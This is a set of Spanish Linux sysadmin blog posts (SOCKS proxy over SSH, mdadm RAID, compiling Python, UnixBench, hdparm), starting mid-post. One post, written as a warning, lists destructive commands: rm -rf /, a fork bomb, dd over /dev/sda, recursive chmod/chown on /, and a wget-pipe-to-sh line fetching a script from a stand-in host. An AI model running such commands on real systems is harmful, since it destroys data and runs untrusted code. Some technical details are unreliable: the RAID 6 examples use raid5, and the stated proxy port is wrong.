[ger@ger-pc ~]$ ssh -D 0.0.0.0:1081 root@192.168.54.100

Si lo comprobamos con el comando ss o con netstat podemos ver que está escuchando en todas las redes:

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 0.0.0.0:1081 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$

Sin embargo, si conectamos especificando unicamente el puerto sin 0.0.0.0 o sin ninguna IP, lo hara solo en localhost:

[ger@ger-pc ~]$ ssh -D 1081 root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 127.0.0.1:1081 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$

Conexión a través del Proxy SOCKS5:

Ahora puedes configurar tu navegador o aplicación para utilizar el proxy SOCKS5 en localhost y el puerto 1080. Cada aplicación tiene una manera diferente de configurar esto, así que necesitarás revisar las preferencias o la documentación de la aplicación.

Automatización de la Conexión (Opcional):
Si necesitas que el túnel se establezca automáticamente al inicio o sin interacción manual, puedes considerar usar una herramienta como autossh para mantener la conexión del túnel abierta y reconectar en caso de que se caiga.

Esta es una forma efectiva de establecer un proxy SOCKS5 rápido para un usuario o unos pocos usuarios, especialmente útil para eludir restricciones de red o asegurar tu tráfico en redes no confiables. La principal ventaja de este método es su simplicidad y que aprovecha la infraestructura SSH existente, sin necesidad de configurar software adicional en el servidor.

La entrada Crear Proxy SOCKS con Dante y con OpenSSH se publicó primero en Aprende IT.

¿Qué es un RAID?

Podemos definir un raid de discos como un grupo o matriz de discos independientes de hecho RAID es un acrónimo de Redundant Array of Indepent Disks. Los discos se unifican mediante software o hardware para redundar datos y/o utilizar toda la capacidad de cada disco en conjunto. Esto será más fácil de entender cuando definamos cada tipo de RAID más adelante.

Diferencia entre RAID por hardware y RAID por software

¿Qué es el RAID por software?

El RAID por software es como dice el nombre una aplicación que permite la creación de RAIDs a nivel lógico a partir de discos conectados a nuestro equipo. Este software crea un sistema de ficheros en el cual trabaja comportándose según el tipo de RAID configurado

¿Qué es el RAID por Hardware?

Un raid por hardware es un dispositivo físico que permite la creación de un RAID de discos.  Puede ser una tarjeta de expansión PCI o PCIE o bien esté integrada en la placa base, este hardware integra todo lo necesario para realizar un RAID sin utilizar el procesador ni la memoria RAM del sistema (como norma general), además puede integrar una caché. Esta caché puede agilizar las operaciones de lectura/escritura.

Cuales son sus principales diferencia y las ventajas de cada uno

•  El RAID por hardware requiere hardware el cual conlleva un coste
• Con el RAID por hardware en caso de fallar un disco, solo debemos insertar el disco nuevo y el normalmente se encarga de reconstruir el RAID sin ningún paso adicional (como norma general)
• El RAID por software evita el el punto de fallo de una única tarjeta RAID. Si falla esta tarjeta el RAID no funcionará.
• En los sistemas actuales ya no se nota tanto la diferencia de rendimiento respecto a los RAID por hardware ya que los procesadores son más potentes.
• El RAID por hardware no utiliza recursos del procesador de la máquina anfitrión.

Niveles RAID más usados

· RAID 0 (Data Striping, Striped Volume)

Este raid toma la capacidad de los discos añadidos y la suma. Por ejemplo si tenemos 2 discos de 1TB con este RAID conseguiremos un volumen de 2TB. Si los discos son de distintas capacidades, siempre toma la más baja para utilizarla, al igual que las RPM (revoluciones por minuto) del disco. Es decir, si tenemos un disco de 2TB a 7200RPM y otro de 1TB a 5400RPM tendremos un volumen de 2TB a 5400RPM, es decir, volvemos a tener un volumen de 2TB pero más lento. Por eso es importante que los discos sean similares.

Por otro lado en este tipo de RAIDs prima el rendimiento pero no la seguridad, no hay redundancia de datos por lo que si un disco se rompe se corromperá el volumen.

· RAID 1 (espejo)

Este RAID al igual que en el RAID anterior y en todos los RAID, los discos deben tener la misma capacidad para evitar desaprovechar discos. En esta modalidad de RAID se configura los dos discos en espejo, esto quiere decir que se replica todo el contenido del disco en otro disco por cada 2 discos 1 disco se dedica a redundar datos. Está recomendado para 2 discos. Este RAID tiene una ventaja añadida y son mayores velocidad de lectura multiusuario ya que pueden leerse datos de los dos discos. Sin embargo las escrituras se ralentizan ya que tienen que hacerse en ambos discos.

· RAID 5

Este RAID es el más popular debido a su bajo coste. Con 3 discos se dispone del 75% de la capacidad de los discos aproximadamente. Requiere solamente un mínimo de 3 discos y soporta la pérdida por completo de un disco. La información se sirve en bloques distribuidos por el total de los discos por lo que a mas discos mas rendimiento también influye el tamaño de los discos cuanto mas grandes sean mas tiempo tarda en reconstruirse el RAID en caso de fallo de un disco. Este RAID protege contra los fallos distribuyendo el cálculo de paridad por el conjunto de los discos y así protegiendo contra posibles errores de hardware.

El punto flaco de este tipo de RAID está en que si falla un disco, hasta reponerlo el volumen queda desprotegido contra algún fallo de otro disco. Aquí es donde entran los discos Spare. Un disco spare es un disco de reserva para que entre “a formar parte del juego” cuando uno de los discos falle, de esta forma el numero de discos que pueden fallar es dos (mientras que el RAID no esté en procedo de reconstrucción cuando falle el segundo disco) De esta forma evitamos el punto de fallo mencionado antes. Cuando se añade el disco spare este tipo de RAID también se conoce como RAID 5E. Hay dos tipos de spare: “Standby spare” y “hot spare”.

Si es un standby spare conlleva un proceso de reconstrucción durante la incorporación del disco spare sustituyendo al disco fallido sin embargo si es un hot spare este tiempo se minimiza.

· RAID 6

Digamos que es la evolución del RAID 5, necesita como mínimo 4 discos. Funciona como RAID 5 pero con doble banda de paridad que también se reparte por todos los discos. Este tipo de RAID soporta el fallo total de hasta dos discos hasta durante la reconstrucción del RAID. Es menos utilizado debido a que cuando se utilizan pocos discos se desaprovecha capacidad de dos discos ya que no llegan al máximo teórico, con 4 discos el RAID tendrá cerca de la mitad de la capacidad de los discos. Cuantos más discos se utilicen en el RAID más capacidad de cada disco es utilizada.

Al igual que en el RAID 5, en RAID 6 se pueden añadir discos spare (se suele llamar RAID 6E) para soportar un tercer disco fallido (este ultimo puede fallar sin corromper el volumen siempre y cuando el raid no se esté reconstruyendo ).

Niveles RAID anidados

Los niveles anidados de RAID es “RAID sobre RAID”. Es decir un RAID de un tipo montado sobre otro/s RAID de otro tipo. Así se pueden aprovechar las ventajas de cada RAID. Por ejemplo:

• RAID 0+1 : Es un espejo de RAIDs 0, es decir si tenemos 4 discos, se crean 2 raids 0 con cada pareja de discos y con los 2 volúmenes RAID creados se crea un raid 1. De esta forma añadimos redundancia al RAID 0.
• RAID 1+0: Es un RAID 0 de dos espejos (RAID 1). Se crean 2 RAID 1 con cada pareja de discos y con la pareja de RAID 1 creados, se crea un RAID 0.
• RAID 50 (5+0): Para este RAID son necesarios un mínimo de 6 discos. Se crean con cada trío de discos un RAID 5. Después con cada RAID creado se crea un raid 0 con los RAID 5 creados. Con 6 discos se alcanza un total de aproximadamente el 65% de la capacidad de los discos.

Tipos de RAID más habituales son:

• RAID 0: Para almacenamiento de datos no críticos de los cuales no importa su pérdida.
• RAID 1: Para sistemas operativos, por ejemplo en servidores. Se instala normalmente el sistema Operativo sobre un RAID 1.
• RAID 5: Almacenamiento en general por su bajo coste y buena fiabilidad.

Como montar en linux cada tipo de RAID con “mdadm”:

Un raid en linux es muy fácil de configurar utilizando los pasos que vamos a describir:

Paso1: Instalar mdadm: por defecto no suele estar instalado en Linux.

En debian y derivados:

apt-get install mdadm

En RedHat / CentOS y derivados:

yum install mdadm

Paso2: Hay que llenar de ceros los discos que se van a incluir en el RAID para evitar problemas con sistemas de ficheros existentes:

root@localhost:~# mdadm --zero-superblock /dev/hdb /dev/hdc

(Y tantos otros discos a utilizar) o con DD:

Paso 3: Lo siguiente sería crear el RAID, básicamente sería con:

mdadm -C /dev/NOMBRERAID --level=raid[NUMERO] --raid-devices=NUMERO_DE_DISCOS /dev/DISCO1 /dev/DISCO2

• RAID 0: Se seleccionan un mínimo de dos discos (como ejemplo vdc y vdd):

mdadm -C /dev/md0 --level=raid0 --raid-devices=2 /dev/vdc /dev/vdd

• RAID 1: EN el caso de RAID 1 lo mejor es seleccionar un máximo de 2 discos / volúmenes (ponemos como ejemplo igualmente vdc y vdd):

mdadm -C /dev/md0 --level=raid1 --raid-devices=2 /dev/vdc /dev/vdd

• RAID 5: Como mínimo tres discos:

mdadm -C /dev/md0 --level=raid5 --raid-devices=3 /dev/vdb /dev/vdc /dev/vdd

Si queremos un disco spare (tenemos que añadir todos los discos incluso el spare al RAID desde el principio):

mdadm -C /dev/md0 --level=raid5 --raid-devices=3 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde

• RAID 6: Como mínimo 4 discos

mdadm -C /dev/md0 --level=raid5 --raid-devices=4 /dev/vdb /dev/vdc /dev/vdd /dev/vde

Y con spares:

mdadm -C /dev/md0 --level=raid5 --raid-devices=4 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde /dev/vdf

En caso de fallar un disco de un RAID solo debemos extraerlo e insertar el nuevo disco y cuando introduzcamos el nuevo disco  (mirando el log del sistema de /var/log/messages) ejecutamos:

mdadm --add /dev/RAID /dev/NUEVO_DISCO

En caso de querer parar un RAID:

mdadm --stop /dev/md0 && mdadm --remove /dev/md0

Y para consultar el estado:

cat /proc/mdstat

Y esto ha sido todo sobre como crear un RAID por software en linux con mdadm.

Si te ha gustado el artículo deja tu comentario y/o comparte en tus redes sociales.

¡Nos vemos!

La entrada Como crear un RAID por software en linux con mdadm se publicó primero en Aprende IT.

Preparación del entorno

Antes de sumergirnos en la compilación de Python, es esencial preparar tu sistema Ubuntu 20.04 para asegurarnos de que el proceso se ejecute sin contratiempos. Esto incluye la actualización de los paquetes del sistema y la instalación de dependencias necesarias para la compilación de Python.

Para empezar, abre una terminal y ejecuta el siguiente comando para actualizar el índice de paquetes de tu sistema:

sudo apt update

Una vez actualizado el índice de paquetes, es momento de instalar algunas dependencias críticas que Python requiere para su compilación y ejecución. Ejecuta el siguiente comando para instalar estos paquetes:

sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make

Descarga y preparación del código fuente de Python

Con el entorno preparado, el siguiente paso es obtener el código fuente de Python 3.10.13, que es la versión que compilaremos. Para ello, utilizaremos wget, una herramienta que permite descargar archivos desde la web directamente a nuestra terminal. Antes de descargar el código fuente, asegúrate de eliminar cualquier archivo previo con el mismo nombre para evitar conflictos:

rm -f Python-3.10.13.tgz

Ahora, procede a descargar el archivo comprimido del código fuente de Python 3.10.13 con el siguiente comando:

wget https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz

Con el archivo descargado, el próximo paso es extraer su contenido. Utiliza el comando tar para descomprimir el archivo:

tar xzf Python-3.10.13.tgz

Después de extraer el archivo, cambia al directorio que contiene el código fuente:

cd Python-3.10.13

Compilación del código fuente

Antes de proceder con la compilación propiamente dicha, es una buena práctica limpiar cualquier compilación previa que pudiera estar presente en el directorio. Esto se hace con el comando make clean:

make clean

El siguiente paso es configurar el proceso de compilación. Python ofrece muchas opciones de configuración, pero nos centraremos en una configuración optimizada que incluye pip y configuraciones de ruta para las bibliotecas compartidas. Ejecuta el siguiente comando para configurar el entorno de compilación:

./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"

Una vez configurado, procede a compilar Python utilizando make. Para aprovechar al máximo los recursos de tu sistema y agilizar el proceso de compilación, puedes especificar el número de trabajos que make debería ejecutar simultáneamente. Esto depende del número de núcleos de tu procesador. Suponiendo que tienes un procesador de 4 núcleos, puedes usar make -j 4 para compilar más rápido. Sin embargo, en esta guía, utilizaremos make altinstall para instalar Python sin sobrescribir la versión predeterminada del sistema:

make altinstall

Instalación de pip y virtualenv

Tras compilar e instalar Python, el siguiente paso es asegurarse de que pip, el administrador de paquetes de Python, esté actualizado y funcionando correctamente con nuestra nueva instalación de Python. A continuación, instalaremos virtualenv, una herramienta para crear entornos virtuales aislados, lo cual es esencial para la gestión de dependencias en proyectos Python.

Primero, descarga el script de instalación de pip:

wget https://bootstrap.pypa.io/get-pip.py

Ejecuta el script para instalar pip para Python 3.10:

python3.10 get-pip.py

Con pip ya instalado, procede a instalar virtualenv:

pip3.10 install virtualenv

Para evitar conflictos con otras versiones de Python, renombraremos los binarios de pip y virtualenv:

mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10

Uso de contenedores como alternativa a la compilación

Compilar Python desde el código fuente te proporciona control total sobre la instalación y configuración, permitiéndote optimizar el rendimiento y la seguridad. Sin embargo, este proceso puede ser tedioso y consumir tiempo. Como alternativa, puedes utilizar contenedores Docker para trabajar con diferentes versiones de Python de manera aislada y eficiente, sin la necesidad de compilar cada versión manualmente.

Docker simplifica la creación y gestión de entornos aislados para tus aplicaciones, conocidos como contenedores. Para iniciar un contenedor con Python 3.10.13, simplemente ejecuta el siguiente comando:

docker run -it --name python3 python:3.10.13-slim-bullseye

Este comando descarga la imagen oficial de Python 3.10.13 (basada en Debian Bullseye slim) y la ejecuta en un contenedor, proporcionándote un entorno Python aislado y listo para usar en cuestión de segundos.

Resumen de comandos

Con el fin de tenerlo todo agrupado en la secuencia correcta, este es el grupo de comandos que hemos ejecutado:

sudo apt update
sudo apt install -y gcc libssl-dev libbz2-dev libffi-dev zlib1g-dev make
rm -f Python-3.10.13.tgz
wget https://www.python.org/ftp/python/3.10.13/Python-3.10.13.tgz
rm -f Python-3.10.13.tgz.*
tar xzf Python-3.10.13.tgz
cd Python-3.10.13
make clean
./configure --enable-optimizations --with-ensurepip=install --prefix=/usr/local --enable-shared LDFLAGS="-Wl,-rpath /usr/local/lib"
make altinstall
wget https://bootstrap.pypa.io/get-pip.py
python3.10 get-pip.py
pip3.10 install virtualenv
mv /usr/local/bin/pip /usr/local/bin/pip.new
mv /usr/local/bin/virtualenv /usr/local/bin/virtualenv-3.10

La entrada Cómo compilar Python 3.10 en Ubuntu 20.04 se publicó primero en Aprende IT.

El devastador rm -rf /

Empezamos con el infame comando rm -rf /, una sentencia que parece sencilla pero esconde un potencial destructivo. Este comando borra todos los archivos del sistema, comenzando desde la raíz (/). El modificador -r indica que la eliminación debe ser recursiva, es decir, afectar a todos los archivos y directorios contenidos en el directorio especificado, mientras que -f fuerza la eliminación sin pedir confirmación. Ejecutar este comando como superusuario significa despedirse de tu sistema operativo, tus datos y cualquier esperanza de recuperación fácil.

En resumen, hay que tener cuidado con ejecutar comandos rm recursivos ya que podemos eliminar mas de lo que queremos:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

La trampa de :(){ :|: & };:

Este enigmático comando es un ejemplo de una función fork bomb. Se define una función llamada : que, cuando se ejecuta, llama a sí misma dos veces y cada llamada se ejecuta en el fondo. Esto causa una reacción en cadena, duplicando procesos indefinidamente y consumiendo los recursos del sistema hasta que este se cuelga. Es un ataque de denegación de servicio contra tu propia máquina, llevando al límite la capacidad de procesamiento y memoria.

Para que se entienda mejor, :(){ :|: & };: es lo mismo que ejecutar:

bomb() {
    bomb | bomb &
}; bomb

El peligro de dd if=/dev/zero of=/dev/sda

El comando dd es una herramienta potente que se utiliza para convertir y copiar archivos a nivel de bloque. En este contexto, if=/dev/zero establece la entrada a un flujo continuo de ceros, y of=/dev/sda designa el dispositivo de destino, generalmente el disco duro principal. Este comando sobrescribe todo el disco con ceros, eliminando irreversiblemente el sistema operativo, los programas y los datos del usuario. Es esencial comprender la función de cada parte del comando antes de ejecutar algo tan poderoso como dd.

Descargar y ejecutar un ficheromalicioso

Por ejemplo la orden wget http://ejemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descargar un script desde una dirección de Internet y lo ejecuta directamente en la shell con sh. La peligrosidad reside en ejecutar código sin revisar, proveniente de una fuente no confiable. Podría tratarse de un script malicioso diseñado para dañar tu sistema o comprometer tu seguridad. Siempre es vital verificar el contenido de los scripts antes de ejecutarlos.

Modificación peligrosa de permisos y propiedades

La modificación de permisos con por ejemplo chmod 777 / -R puede dejar inservible tu sistema.
chmod cambia los permisos de archivos y directorios, y 777 otorga permisos totales (lectura, escritura y ejecución) a todos los usuarios. Aplicar esto recursivamente (-R) a la raíz (/) elimina cualquier forma de control de acceso, exponiendo el sistema a riesgos de seguridad graves. Cualquier usuario podría modificar cualquier archivo, con potenciales consecuencias desastrosas.

El comando chown nobody:nogroup / -R

Similar al caso anterior, chown cambia el propietario y el grupo de archivos y directorios. Usar nobody:nogroup asigna la propiedad a un usuario y grupo sin privilegios, aplicado recursivamente desde la raíz, puede dejar al sistema en un estado inoperable, ya que los servicios y procesos críticos podrían perder acceso a los archivos necesarios para su funcionamiento.

El misterioso mv /home/tu_usuario/* /dev/null

Mover archivos al directorio /dev/null es equivalente a eliminarlos, ya que /dev/null es un agujero negro en el sistema que descarta todo lo que recibe. Este comando, aplicado al directorio del usuario, puede resultar en la pérdida de todos los datos personales, configuraciones y archivos importantes almacenados en tu home.

El peligroso find

El comando find puede ser muy peligroso, por ejemplo si ejecutamos el siguiente comando:

find / -name '*.jpg' -type f -delete

Lo que ocurre es que find es una herramienta versátil para buscar archivos en el sistema de archivos que cumplan con ciertos criterios. Este comando busca todos los archivos .jpg en el sistema y los elimina. Aunque podría parecer útil para liberar espacio, borrar indiscriminadamente archivos basándose solo en su extensión puede resultar en la pérdida de documentos importantes, recuerdos y recursos.

Causar un kernel panic

El siguiente comando es capaz de causar un kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar un error de Kernel Panic en Linux es comparable a la temida pantalla azul de la muerte en Windows, desmitificando la creencia de que Linux es infalible. A través de ciertos comandos, como redirigir datos aleatorios a dispositivos críticos del sistema o manipular directamente la memoria, se puede forzar a Linux a entrar en un estado de pánico del kernel, lo que hace que el sistema se vuelva irrecuperable sin un reinicio. Estos comandos son altamente riesgosos y pueden resultar en la pérdida de datos o en la corrupción del sistema.

Sobrescribir el disco de sistema con la salida de un comando

Sobrescribir el disco duro en Linux, usando comandos que redirigen la salida de cualquier comando Bash directamente a un dispositivo de disco (/dev/hda), puede resultar en la pérdida total de datos. Este proceso es irreversible y difiere del formateo, ya que implica escribir datos sin procesar sobre toda la unidad, haciéndola inservible. Es una acción altamente peligrosa sin beneficio práctico en la mayoría de los contextos.

Un ejemplo de esto seria:

comando1 > /dev/sda1

Protege tu sistema, protege tu tranquilidad

Explorar y experimentar con Linux puede ser una experiencia enriquecedora y educativa. Sin embargo, es fundamental hacerlo con conocimiento y precaución. Los comandos discutidos aquí representan solo una fracción de lo que es posible (y potencialmente peligroso) en la terminal. La regla de oro es simple: si no estás seguro de lo que hace un comando, investiga antes de ejecutarlo. Proteger tu sistema es proteger tu trabajo, tus recuerdos y, en última instancia, tu tranquilidad.

La entrada Comandos que no debes ejecutar en Linux se publicó primero en Aprende IT.

¿Qué es UnixBench?

UnixBench es una suite de pruebas de rendimiento de código abierto diseñada para sistemas Unix y Linux. Se caracteriza por su facilidad de uso y profundidad, permitiendo medir el rendimiento de diversos componentes del sistema.

Instalación de UnixBench

La instalación de UnixBench es sencilla y se realiza a través de unos pocos comandos en la terminal:

Clona el repositorio de UnixBench:

git clone https://github.com/kdlucas/byte-unixbench.git

Accede al directorio de UnixBench:

cd byte-unixbench/UnixBench

Compila y construye UnixBench:

make

Ejecutando tu Primera Prueba con UnixBench

Para lanzar tu primera prueba, sigue estos pasos:

En la misma carpeta de UnixBench, ejecuta:

./Run

Esto iniciará una serie de pruebas que evaluarán diferentes aspectos de tu sistema.

Análisis de Resultados

Los resultados de UnixBench se presentan en forma de puntuaciones y datos, proporcionando una idea clara del rendimiento de tu sistema en áreas como la CPU, la memoria y las operaciones de disco.

Pruebas Avanzadas

UnixBench permite realizar pruebas específicas para distintos componentes. Por ejemplo, para enfocarte en la CPU:

./Run dhry2reg whetstone-double

Personalizando las Pruebas

UnixBench ofrece la flexibilidad de personalizar las pruebas. Puedes elegir qué pruebas ejecutar y adaptarlas a tus necesidades específicas.

Monitorización en Tiempo Real

Mientras se ejecutan las pruebas, es útil realizar una monitorización en tiempo real del sistema usando herramientas como top o htop.

Pruebas de Rendimiento de Red

Además de los componentes básicos, UnixBench también puede evaluar el rendimiento de la red de tu sistema, un aspecto crucial para servidores o entornos de red dependientes.

Integración con Herramientas de Monitorización

UnixBench se puede integrar con herramientas de monitorización de sistemas avanzadas, proporcionando un análisis detallado del rendimiento del sistema durante las pruebas.

Tips para Optimizar el Rendimiento

Después de las pruebas, puedes identificar áreas de mejora y comenzar a optimizar tu sistema, ajustando configuraciones, actualizando hardware o modificando el entorno de software.

La entrada Pruebas de Rendimiento en Linux con UnixBench se publicó primero en Aprende IT.

Instalación y Uso Básico

La mayoría de las distribuciones de Linux ya incluyen hdparm. Para empezar, abre una terminal y ejecuta:

 hdparm -I /dev/sda | more

Este comando te mostrará toda la información disponible sobre tu disco, incluyendo el modelo y la versión del firmware​​.

Midiendo la Velocidad del Disco

Para conocer la velocidad de transferencia de datos de tu disco, utiliza:

 hdparm -t /dev/sda

Repite la medida varias veces para obtener un promedio. Si deseas medir la velocidad pura del disco, sin el efecto del buffer del sistema, usa hdparm -t --direct /dev/sda. Además, puedes especificar un offset con hdparm -t --direct --offset 500 /dev/sda para probar diferentes áreas del disco​​.

Optimizando la Transmisión de Datos

Para mejorar la transmisión de datos, hdparm permite ajustar la cantidad de sectores que se leen a la vez con el comando:

hdparm -m16 /dev/sda

Este comando configura la lectura de 16 sectores simultáneamente. Además, puedes activar la función «read-ahead» con hdparm -a256 /dev/sda, lo que hace que el disco lea anticipadamente 256 sectores​​.

Control del Modo 32-Bit y el Ruido del Disco

Con hdparm -c /dev/sda, puedes verificar si tu disco está funcionando en modo 32-bit, y forzar este modo con -c3. Si tu disco es ruidoso, puedes reducir el ruido activando el «modo acústico» con hdparm -M 128 /dev/sda, o maximizar la velocidad con `hdparm -M 254 /dev/sda​​​​.

Gestión de la Caché de Escritura

El comando hdparm -W /dev/sda te permite activar o desactivar la caché de escritura, que puede acelerar la escritura de datos pero a riesgo de perder datos en caso de cortes de energía​​.

Configuración del Modo de Ahorro de Energía

Puedes gestionar el ahorro de energía del disco con hdparm -B255 /dev/sda para desactivarlo, o usar valores entre 1 y 254 para diferentes niveles de ahorro y rendimiento. Con hdparm -S 128 /dev/sda, ajustas el tiempo de inactividad antes de que el disco entre en modo de reposo​​.

Limpieza de SSDs

Los SSDs pueden acumular bloques de datos residuales. Para limpiarlos, usa el script wiper.sh /dev/sda, pero con precaución, ya que puede llevar a la pérdida de datos​​.

Borrado Seguro en SSDs

Para borrar de forma segura un SSD, hdparm ofrece la función de «borrado seguro» con

hdparm --user-master u --security-erase 123456 /dev/sdb

Este proceso elimina completamente los datos, pero requiere precaución ya que puede dejar el SSD inservible en algunos casos​​.

Manejo de Discos IDE Antiguos

Para los discos IDE, es importante revisar y configurar el DMA con hdparm -d1 /dev/hda para mejorar la transferencia de datos. Si encuentras problemas, desactívalo con `hdparm -d0 /dev/hda​​.

Manteniendo los Cambios Tras Reiniciar

Para que los cambios hechos con hdparm persistan tras reiniciar, debes agregarlos a los scripts de inicio del sistema o, en sistemas basados en Debian, en el archivo /etc/hdparm.conf​​.

Recuerda que esta es una herramienta potente y debe usarse con conocimiento. Siempre haz copias de seguridad antes de realizar cambios significativos y consulta la documentación específica.

La entrada La Utilidad hdparm: Haz Tunning de tu Disco se publicó primero en Aprende IT.